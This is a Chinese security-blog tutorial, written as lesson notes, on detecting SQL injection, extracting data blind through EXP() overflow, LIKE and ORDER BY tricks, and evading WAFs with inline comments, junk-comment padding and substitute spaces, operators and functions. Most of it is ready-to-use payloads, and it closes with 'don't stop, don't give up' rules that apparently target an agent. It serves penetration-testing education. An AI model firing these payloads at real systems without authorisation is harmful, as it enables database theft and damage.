PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

【教程】学习渗透测试第二天:SQL注入与WAF绕过实战体系

📅 2026年6月17日 📁 Hermes Agent ⏱ 9 分钟

适合人群:有SQL注入基础、想深入WAF绕过的渗透测试人员

前置知识:基本的SQL语法、HTTP请求理解

学习目标:掌握SQL注入从探测→提取→WAF绕过的完整体系


SQL注入 & WAF绕过 实战教学记录

授课人:pingsec

>

日期:2026-06-17


第一阶段:探测注入点


一、单引号闭合测试

最基本的检测方法

在参数后面加一个单引号 ',看响应变化:


?id=1     → 200 正常
?id=1'    → 500 报错
?id=1''   → 200 正常

1' 报错说明单引号进入了 SQL 语句,破坏了原有的语法结构。1'' 恢复正常说明两个单引号闭合了前面的单引号,SQL 语法恢复完整 → 单引号闭合确认,注入存在。


二、双引号闭合测试

WAF 对双引号的检测通常比单引号弱 30-50%,如果单引号被拦了要试双引号:


?id=1"    → 500 报错
?id=1""   → 200 正常
→ 双引号闭合确认

三、500≠500 原则

教学重点

"一个单引号、两个单引号、三个单引号,均是接口 500 报错,不一定不存在注入,不一定都要回到 200 状态码。"

同样的 500 状态码,不一定是同一个原因:


?id=1'    → 500(SQL 语法错误)
?id=1''   → 500(业务逻辑错误,SQL 已正常执行但参数值不对)
?id=1'''  → 500(又是 SQL 语法错误)

不能因为 1'1'' 都报 500 就判定不存在注入。 要结合报错内容和响应长度综合分析。


四、多闭合方式(24 种,不全用单引号)

单引号被 WAF 拦/被 HTML 实体编码/被 is_numeric() 过滤时,其他闭合方式可能完全不受限。每个参数至少试以下闭合:


1'    → 单引号
1"    → 双引号
1)    → 右括号
1')   → 单引号+右括号
1")   → 双引号+右括号
1'))  → 单引号+双右括号
1"))  → 双引号+双右括号

不能只试了单引号没反应就放弃,至少试完以上 7 种。


五、字符型布尔逻辑检测(零关键字,WAF 最薄弱)

不用 AND/OR/UNION/SELECT 等任何 SQL 关键字,纯字符串逻辑判断注入。


?id=1'&&'1'='1   → 正常(TRUE)
?id=1'&&'1'='2   → 异常(FALSE)
→ 两条响应不同 = 100% 存在注入

原理

  • '1'='1' 是字符串等于字符串,永远为真
  • '1'='2' 是字符串等于字符串,永远为假
  • 中间的 && 不是 AND,WAF 的 SQL 关键字正则匹配不到

为什么不建议用 OR

"不建议用 OR 验证注入方法,容易造成删库,除非确定是查询功能。"

如果底层 SQL 是 DELETE 或 UPDATE:


DELETE FROM users WHERE id=1 OR 1=1    -- 全表删除!
UPDATE users SET pass='hack' WHERE id=1 OR 1=1  -- 全表改密码!

铁律:不确定 SQL 语句类型时,只用 &&,不用 OR


六、数值型运算检测

不需要引号,纯数字运算验证注入:


?id=1/1   → 正常(1除以1等于1,结果有数据)
?id=1/0   → 报错(除零错误)
→ 参数被拼入数值表达式 = 数值型注入确认

数值型注入的好处:不需要引号闭合,即使 is_numeric() 过滤也能过(传的确实是数字),但 SQL 中做了数学运算。


七、EXP() 报错检测(零关键字,最快出结果)


?id=1' AND EXP(709)--   → 正常(709 不溢出)
?id=1' AND EXP(710)--   → 报错(710 溢出)
→ 两条不同 = 注入存在

原理

  • EXP(709) 的结果在 DOUBLE 类型范围内 → 不报错
  • EXP(710) 的结果超出 DOUBLE 上限 → 溢出报错
  • EXP 不是 SQL 注入关键词,WAF 不认识

八、JSON 格式参数的注入检测

背景

JSON 接口中参数有两种类型:


{"mid":1}       ← int 类型,不带引号
{"mid":"1"}     ← string 类型,带引号

如果 "mid":1 是 int 类型,注入的引号 ' 没办法直接加进去,会被 JSON 解析器拦截。

检测步骤

第一步:int 改成 string


{"mid":1}       → 200 正常
{"mid":"1"}     → 200 正常(改成 string,JSON 格式合法,SQL 里自动带引号)

第二步:加单引号


{"mid":"1'"}    → 500 报错
{"mid":"1''"}   → 500 报错

第三步:排除 JSONDecodeError


{"mid":1''}     → JSONDecodeError

教学重点

"mid":1'' 没有加双引号包裹,JSON 解析器直接报 JSONDecodeError——请求根本没到 SQL 层就被拦住了。必须 "mid":"1''" 这种 string 格式,JSON 解析才能通过,才能到达 SQL。

第四步:--+ 绕过 WAF


{"mid":"1'--+"}  → 报错(FileNotFoundError 等业务报错,SQL 已执行)

--+--(SQL 注释)后面跟 +(URL 中相当于空格)。WAF 拦截 -- 但不拦截 --+

第五步:延时确认


{"mid":"1' WAITFOR DELAY '0:0:5'--+"}  → 响应延时 5 秒 → 注入确认,MSSQL 数据库

总结 JSON 注入链路


{"mid":1}                                     → int 类型,原始
{"mid":"1"}                                   → 改成 string,获得引号
{"mid":"1'"}                                  → 单引号注入
{"mid":"1'--+"}                               → --+ 过 WAF
{"mid":"1' WAITFOR DELAY '0:0:5'--+"}          → MSSQL 延时确认

教学重点

"如果是 JSON 格式注入,参数没有双引号,就给它添加双引号再测试。"


第二阶段:确认注入后提取数据


九、EXP() 溢出盲注

基本原理


EXP(709) → 709 或者以下不报错
EXP(710) → 大于 709 报错

通用布尔公式


EXP(710 - (条件))
  • 条件 TRUE = 1 → 710 - 1 = 709 → 不报错 → 猜对了
  • 条件 FALSE = 0 → 710 - 0 = 710 → 溢出报错 → 猜错了

全程零 SQL 关键字,WAF 看不懂这是在跑数据。

配合 LIKE 跑数据


EXP(710 - (database() LIKE 'D%'))
  • 库名以 D 开头 → LIKE 'D%' 返回 TRUE=1 → 710-1=709 → 不报错 → 库名以 D 开头!
  • 库名不以 D 开头 → LIKE 'D%' 返回 FALSE=0 → 710-0=710 → 报错 → 猜错

逐个字符往后推:


EXP(710 - (database() LIKE 'Da%'))      -- 库名前两个字符
EXP(710 - (database() LIKE 'Dat%'))     -- 库名前三个字符
EXP(710 - (database() LIKE 'Data%'))    -- 继续推

配合 ASCII 精确取值


EXP(710 - ascii(substr(current_user, 1, 1)))
  • substr() 截取字符串的第 N 个字符
  • ascii() 把字符转成 ASCII 数字
  • 条件判断结合 EXP 溢出

教学重点

"LIKE 用法:模糊查询、匹配内容。select from users where username like 'jo%' 返回 username 以 jo 开头的行。select from users where email like '%gmail.com' 返回所有 email 以 gmail.com 结尾的行。"


十、抬杠法:2 请求精确一个字符

推导过程

已知 r 的 ASCII 码 = 114。


EXP(823 - ascii(current_user))   → 不报错
EXP(824 - ascii(current_user))   → 报错

数学验证


823 - x = 709 → x = 823 - 709 = 114
824 - x = 710 → x = 824 - 710 = 114

114 = ASCII 'r'

不报错说明 EXP(823 - 114) = EXP(709) 安全。报错说明 EXP(824 - 114) = EXP(710) 溢出。所以当前字符 ASCII = 114 = r

通式


EXP((709 + N) - ascii(substr(data, i, 1)))  → 不报错
EXP((710 + N) - ascii(substr(data, i, 1)))  → 报错
                                            → 当前字符 = chr(N)

效率对比

方法每字符请求数
二分法5-7 次
抬杠法2 次

十一、可提取的内容


-- 库名
EXP(710 - (database() LIKE 'D%'))

-- 当前用户名
EXP(710 - ascii(substr(current_user(), 1, 1)))

-- 表名
EXP(710 - ((SELECT table_name FROM information_schema.tables LIMIT 1) LIKE 'u%'))

-- 列名
EXP(710 - ((SELECT column_name FROM information_schema.columns LIMIT 1) LIKE 'p%'))

-- 版本
EXP(710 - (substr(version(), 1, 1) LIKE '5'))

第三阶段:WAF 绕过


十二、内联注释 /*! */

基本原理

MySQL 的专有语法:


/*!不写版本号 SQL代码 */     → MySQL 永远当作 SQL 执行
/*!50726 SQL代码 */         → MySQL ≥ 5.7.26 才执行
/*!99999 SQL代码 */         → MySQL 永远不执行(当前版本不可能到 99.9.99)

教学重点

"比如版本号为 5.7.26,当 /!00000xxx/ ~ /!50726xxx/ 里的注释内容都可以解析为 SQL 语句执行,而 /!50727xxx/ 及以上的注释内容就真的被注释,失去作用。不加版本号也能用,加随机版本号绕过概率大。"

拆分关键字


/*!union*/ /*!select*/ 1,2,3

WAF 认为这是注释内容 → 不检测。MySQL 把里面的 unionselect 当 SQL 执行。

内联注释当空格


union/*!50000*/select

/!50000/ 中间内容为空,效果等于一个空格。WAF 的 union\s+select 正则匹配不上(中间有内容),MySQL 解析出来是 union select

教学重点

"可以插入内联注释当作空格。"

拆分函数名和括号


原始: database()

拆分:
database(/*!44444*/)                  → 参数位塞内联
database/**/()                       → 函数名和括号之间加注释
database/**/(/*!*/)                  → 两边各加
database--%0a(%0a)                   → 行注释+换行当空格
database%23qwe%0a(%0a)               → # + 随机字符串混淆
database%23qwe%0a(/*!44444*/)        → # + 内联注释双混淆
database/*/111*111*/(/*!44444*/)     → 脏数据+内联三混淆

拆分括号


select database/*!44444(*/)
select database/*!44444(*//*!44444)*/
select database/*/fasfa221213*%0a*//*!44444(*//*!44444)*/

教学重点

() 各自用内联注释/脏数据包住,WAF 的正则 \w+\( 匹配不到 (。MySQL 照常解析。

拆分标识符(库名.表名)


information_schema.tables                                              -- 原始
/*!information_schema*/./*!tables*/                                    -- 库和表分开
/*!information_schema*//*!.*//*!tables*/                                -- 连 . 也入内联
/*!33333information_schema*//*!42222.*//*!44444tables*/                 -- 每段不同版本号

教学重点

每个段用不同随机版本号,WAF 想建模糊匹配规则完全没辙。

实战语句


id=1 /*!44444and*/ /*!444441*/=2--+           → AND 和数字入内联
id=1' /*!44444and*/ /*!2*/=2--+               → 字符型,AND 入内联
id=3'/*!44444and*/1=1--+                      → 更简洁
id=-3/*!44444or*/1=1--+                       → 负值 + OR 入内联
id=3 || -1=-1 --+                              → || 代替 OR,-1=-1 恒真
id=1' like'1'='1                               → like 代替 =,WAF 很少对 like 写规则

exp()、sleep() 等函数都可以用内联注释


exp(710)                                            → 原始
exp/*!50000*/(710)                                  → 内联当空格
exp/**/(710)                                        → 普通注释
exp--%0a(710)                                       → 行注释+换行
exp%23qwe%0a(710)                                   → #+随机字符串
exp/*/111*111*/(710)                                → 脏数据
exp(/*!44444*/710)                                  → 参数位内联
exp/*/222*333*/(/*!44444*/710)                      → 双位齐插
exp/*/asd%0a222*333*/(/*!44444*/710--%0a)           → 三位全脏

sleep() 同理,函数名和 () 之间随便插。


十三、脏数据注释

核心结构


/*/ 脏数据 * 脏数据 */

插入位置规则


/ 1 * 2 / 3 * 4 * 5 /
│   │   │   │   │   │
└───┘   └───┘   └───┘

教学重点

"3 和 4 随便插,1 和 5 不能插,2 尽量不要插。"

位置区域规则
1注释开始 /❌ 不能插
2注释内容 .../⚠️ 尽量不要插
3//✅ 随便插
4注释内容 /...✅ 随便插
5注释结束 /❌ 不能插

脏数据实例


/*///**/                     → 套一层 // 和多出来的 *
/*/**/                        → 嵌套注释,WAF 可能只剥一层
/*/*%0a*/                    → 换行打断 WAF 的 .* 单行匹配
/*%0a/*%0a*/                 → 双层换行嵌套 /*    */
/*%0a/%091231**/             → Tab + 随机数字 + 双星号
/*%0a/fasfa221213*%0a*/      → 随机字符串 + 换行 + 内部 *
/*/fasfa221ss%0a213*%0a*/   → 开头 /*/ 让 WAF 误判注释边界

为什么有效

  • WAF 用正则 /\.?\*/ 匹配注释
  • . 默认不匹配换行符 \n
  • 插入 %0a(换行)后正则断裂
  • MySQL 逐字节解析,遇到 */ 关注释,前面全当垃圾忽略

每请求换一组随机字符串 → WAF 无法建特征签名

教学重点

"注释结合脏数据:越恶心越能绕过 WAF。"

>

"绕不过插入脏数据,越恶心越能绕过 WAF。"


十四、空格替代(15 种)

教学重点

"代替空格:%20 %09 %0a %0b %0c %0d %a0 %00 /**/ /!/ --%0a --ABC%0a(access) %23%0a %23qwe%0a %23😀%0A"


%20         → 标准空格(全平台)
%09         → Tab(全平台)
%0a         → 换行(MySQL/MSSQL)
%0b         → 垂直Tab(MySQL 专杀,WAF 黑名单常漏)
%0c         → 换页符(MySQL,同样常漏)
%0d         → 回车(MySQL/MSSQL)
%a0         → 不间断空格(Oracle)
%00         → NULL截断(MSSQL/Access)
/**/        → 普通注释(MySQL)
/*!*/       → 内联注释空内容(MySQL)
--%0a       → 行注释+换行(MySQL/MSSQL)
--ABC%0a    → 任意字符+换行(Access)
%23%0a      → #注释+换行(MySQL)
%23qwe%0a   → #+随机字符串+换行(MySQL)
%23😀%0A    → #+emoji+换行(MySQL)

最有用的冷门空格%0b(MySQL 垂直 Tab),大部分 WAF 的空格黑名单只写 %20 %09 %0a %0d,漏掉 %0b%0c


十五、等号替代(7 种)

教学重点

"代替等号:?id=1' and '1'regexp'1?id=1''1'regexp'1?id=1' and '1'<>'2"


=            → 原始等号,WAF 盯得最紧
regexp       → 正则匹配,'1' regexp '1' = TRUE
<>           → 不等于,'1'<>'2' = TRUE
like         → 模糊匹配,'1' like '1' = TRUE
between      → 范围,1 between 1 and 1 = TRUE
in           → 集合,1 in (1) = TRUE
strcmp()     → 字符串比较,strcmp('1','1')=0 表示相等
> / <        → 大小比较,ascii(x)>100

十六、关键字/函数替换(8 组)

教学重点

"关键字替换绕过:user() 替换 current_user、sleep() 替换 BENCHMARK()、order by 替换 group by、and updatexml 替换 and-updatexml、concat() 替换 concat_ws()、and 替换 &&"


被拦截            → 替换为
user()           → current_user, session_user(), system_user()
sleep(N)         → BENCHMARK(N*1000000, md5(1))
order by         → group by
updatexml()      → extractvalue()
concat()         → concat_ws('分隔符', a,b), group_concat()
and              → &&
or               → ||
database()       → schema()

第四阶段:预编译盲区


十七、ORDER BY / LIKE / IN 不可能参数化

教学重点

"排序注入不可能存在预编译。order by、like、in"

子句为什么不能参数化典型参数
ORDER BY占位符只能绑值,不能绑列名/排序方向?sort=id / ?order=asc
LIKELIKE ? 通配符 % 在值里不生效,必须拼 SQL?keyword=test
ININ (?) 只能传单个值,多值必须拼?ids=1,2,3
GROUP BY同 ORDER BY,列名不能占位符?group=name
LIMITMySQL LIMIT 不支持占位符?limit=10

遇到这些参数 → 天然疑似注入 → 必须深挖。


第五阶段:排序注入


十八、用 rand() 检测排序注入

教学重点

"正确判断排序注入的方法是使用 rand()。order by rand()"


?sort=rand() → 刷新页面,结果顺序每次都不同 → rand() 被拼入 ORDER BY → 注入确认!

教学重点

"通过 rand() 如果返回出现了变化,说明使用了 ORDER BY 进行排序。"

rand() 同时确认两件事:

  1. 参数直接拼 SQL(不是预编译)
  2. 拼接位置是 ORDER BY 子句

ORDER BY 绕不过用 GROUP BY

教学重点

"ORDER BY 和内联注释结合绕不过,可以使用 GROUP BY。"


GROUP BY 1--+
GROUP/*!*/BY 1--+

十九、排序注入跑数据

布尔型


ORDER BY IF(database() LIKE 's%', username, password)
  • TRUE → 按 username 列排序 → 页面看到按用户名排
  • FALSE → 按 password 列排序 → 页面看到按密码排
  • 观察排序结果变化 → 知道猜对没

时间型


ORDER BY IF(database() LIKE 's%', sleep(3), password)
  • TRUE → sleep(3) → 等 3 秒
  • FALSE → 不等
  • 看响应时间 → 知道猜对没

报错型


ORDER BY updatexml(1, IF(1=2, 1, user()), 1)
  • FALSE → updatexml(1, user(), 1) → user() 不是有效 XPath → 直接报错回显用户名
  • TRUE → updatexml(1, 1, 1) → 正常

第六阶段:安全铁律

教学重点

"不建议用 OR 验证注入方法,容易造成删库,除非确定是查询功能。"

"谨慎使用 OR 和注释闭合导致的删库。"

  1. 禁用 OR — 不确定 SQL 类型时只用 && / EXP / LIKE / IF
  2. 零副作用优先'1'&&'1'='1EXP(710)rand() 纯读无写
  3. 注释闭合谨慎--+ / # 必须在确认闭合正确后加,否则可能注释掉后续安全条件

完整攻击链路


┌──────────────────┐
│  1. 探测注入点   │
│                  │
│  ' / " 闭合      │
│  '1'&&'1' 布尔   │
│  1/0 数值        │
│  EXP(710) 溢出   │
│  rand() 探针     │
│  JSON int→string │
│  六种闭合一把梭  │
│  500≠500 分析    │
└────────┬─────────┘
         │
┌────────▼─────────┐
│  2. 确认注入存在 │
│                  │
│  状态码变化      │
│  报错内容变化    │
│  延时确认        │
│  --+ WAF绕过     │
└────────┬─────────┘
         │
┌────────▼─────────┐
│  3. 提取数据     │
│                  │
│  EXP+LIKE 跑库名 │
│  EXP+ASCII 字符  │
│  抬杠法 2请求    │
│  ORDER BY IF     │
│  updatexml 报错  │
│  substring 遍历  │
└────────┬─────────┘
         │
┌────────▼─────────┐
│  4. 绕过WAF防护  │
│                  │
│  内联注释 /*!*/  │
│  脏数据注释      │
│  空格替代 15种   │
│  等号替代 7种    │
│  关键字替换 8组  │
│  函数名拆分      │
│  括号拆分        │
│  HPP参数污染     │
└──────────────────┘

核心原则

  1. 一个单引号、两个单引号全报 500 ≠ 不存在注入
  2. JSON 参数没有双引号 → 添加双引号再测试
  3. 用 &&/EXP/LIKE/rand() 验证,禁用 OR
  4. 遇 WAF → 插脏数据,越恶心越能过
  5. 预编译不管 ORDER BY/LIKE/IN,天然注入点
  6. 遇 WAF 不放弃,至少试 10 种绕过
  7. 每步自己选最优方案,不要停
← 返回首页